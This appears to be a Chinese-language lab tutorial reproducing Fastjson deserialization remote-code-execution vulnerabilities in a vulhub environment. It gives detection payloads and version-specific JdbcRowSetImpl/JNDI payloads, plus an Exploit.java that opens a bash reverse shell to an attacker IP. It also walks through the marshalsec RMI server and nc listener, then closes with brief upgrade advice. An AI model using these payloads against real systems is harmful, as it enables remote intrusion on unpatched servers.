Fastjson漏洞复现
一、Fastjson漏洞介绍
java处理JSON数据有三个比较流行的类库,gson(google维护)、jackson、以及今天的主角fastjson,fastjson是阿里巴巴一个开源的json相关的java library,地址在这里,https://github.com/alibaba/fastjson,Fastjson可以将java的对象转换成json的形式,也可以用来将json转换成java对象,效率较高,被广泛的用在web服务以及android上,它的JSONString()方法可以将java的对象转换成json格式,同样通过parseObject方法可以将json数据转换成java的对象。
二、fastjson漏洞影响版本
- fastjson-1.2.24_rce.py Fastjson <=1.2.24 反序列化远程命令执行漏洞
- fastjson-1.2.41_rce.py Fastjson <=1.2.41 反序列化远程命令执行漏洞
- fastjson-1.2.42_rce.py Fastjson <=1.2.42 反序列化远程命令执行漏洞
- fastjson-1.2.43_rce.py Fastjson <=1.2.43 反序列化远程命令执行漏洞
- fastjson-1.2.45_rce.py Fastjson <=1.2.45 反序列化远程命令执行漏洞
- fastjson-1.2.47_rce.py Fastjson <=1.2.47 反序列化远程命令执行漏洞
- fastjson-1.2.62_rce.py Fastjson <=1.2.62 反序列化远程命令执行漏洞
- fastjson-1.2.66_rce.py Fastjson <=1.2.66 反序列化远程命令执行漏洞
三、Fastjson指纹特征
1、根据返回包判断:
任意抓个包,提交方式改为POST,花括号不闭合。返回包在就会出现fastjson字样。当然这个可以屏蔽,如果屏蔽使用其它办法。
2、利用dnslog盲打:
构造以下payload(content-type字段为application/json),利用dnslog平台接收:{"zeo":{"@type":"java.net.Inet4Address","val":"ntel8h.dnslog.cn"}}(不同版本,payload不同。推荐这种方式)
{ "b":{ "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"ldap://ntel8h.dnslog.cn/test", "autoCommit":true } }
探测版本payload(根据回显判断):
[{"a":"a\x] {"@type":"java.lang.AutoCloseable" a
1.2.47版本payload:
{ "a": { "@type": "java.lang.Class", "val": "com.sun.rowset.JdbcRowSetImpl" }, "b": { "@type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName": "ldap://dnslog/", "autoCommit": true } }
1.2.67 版本后 payload:
{"@type":"java.net.Inet4Address","val":"dnslog"} {"@type":"java.net.Inet6Address","val":"dnslog"} # 畸形: {"@type":"java.net.InetSocketAddress"{"address":,"val":"这里是dnslog"}}
二、环境搭建
靶机:192.168.110.133
攻击机:192.168.0.2
准备工具:https://github.com/mbechler/marshalsec.git
采用的vulhub上的环境,切入到1.2.47-rce
docker-compose up -d
访问下:
三、漏洞复现
思路:
攻击机搭建一个RMI服务,开启一个web服务(目录里面编译Exploit.java)。
这里要注意使用的要求攻击机的javac是1.8的低版本,低于1.8.0_191版本),所以我这里懒得在攻击机上重新装jdk1.8(本机是jdk 17),直接用的靶机上的jdk1.8搭建的rmi服务,并搭建了一个web服务。
反弹shell还是反弹到攻击机。
漏洞探测:
根据抓包返回的数据尝试更改json,发送数据为post方式,更改类型为json,这里可以看见已经更改成功了
我们再用DNSLog探测下看看
{ "b":{ "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"ldap://ntel8h.dnslog.cn/test", "autoCommit":true } }
DNSLog也接受到了。
准备环境:
编译一个Exploit.java
public class Exploit { public Exploit(){ try{ Runtime.getRuntime().exec("/bin/bash -c $@|bash 0 echo bash -i >&/dev/tcp/192.168.0.2/6666 0>&1"); }catch(Exception e){ e.printStackTrace(); } } public static void main(String[] argv){ Exploit e = new Exploit(); } }
用python开启一个web服务:
python2 -m SimpleHTTPServer 6969
访问看看:
再用marshalsec文件开启一个rmi服务:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.110.133:6969/#Exploit" 6799
nc监听下6666端口(我们exploit.java里面编写的就是反弹shell到192.168.0.2的6666端口)
进行利用反弹shell看看:
{
"b":{ "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi://192.168.110.133:6799/#Exploit", "autoCommit":true } }
可以看到shell反弹过来了:
四、漏洞修复
1、fastjson升级到 1.2.51 以上,并推荐关闭Autotype 详细升级方法可参见漏洞修复措施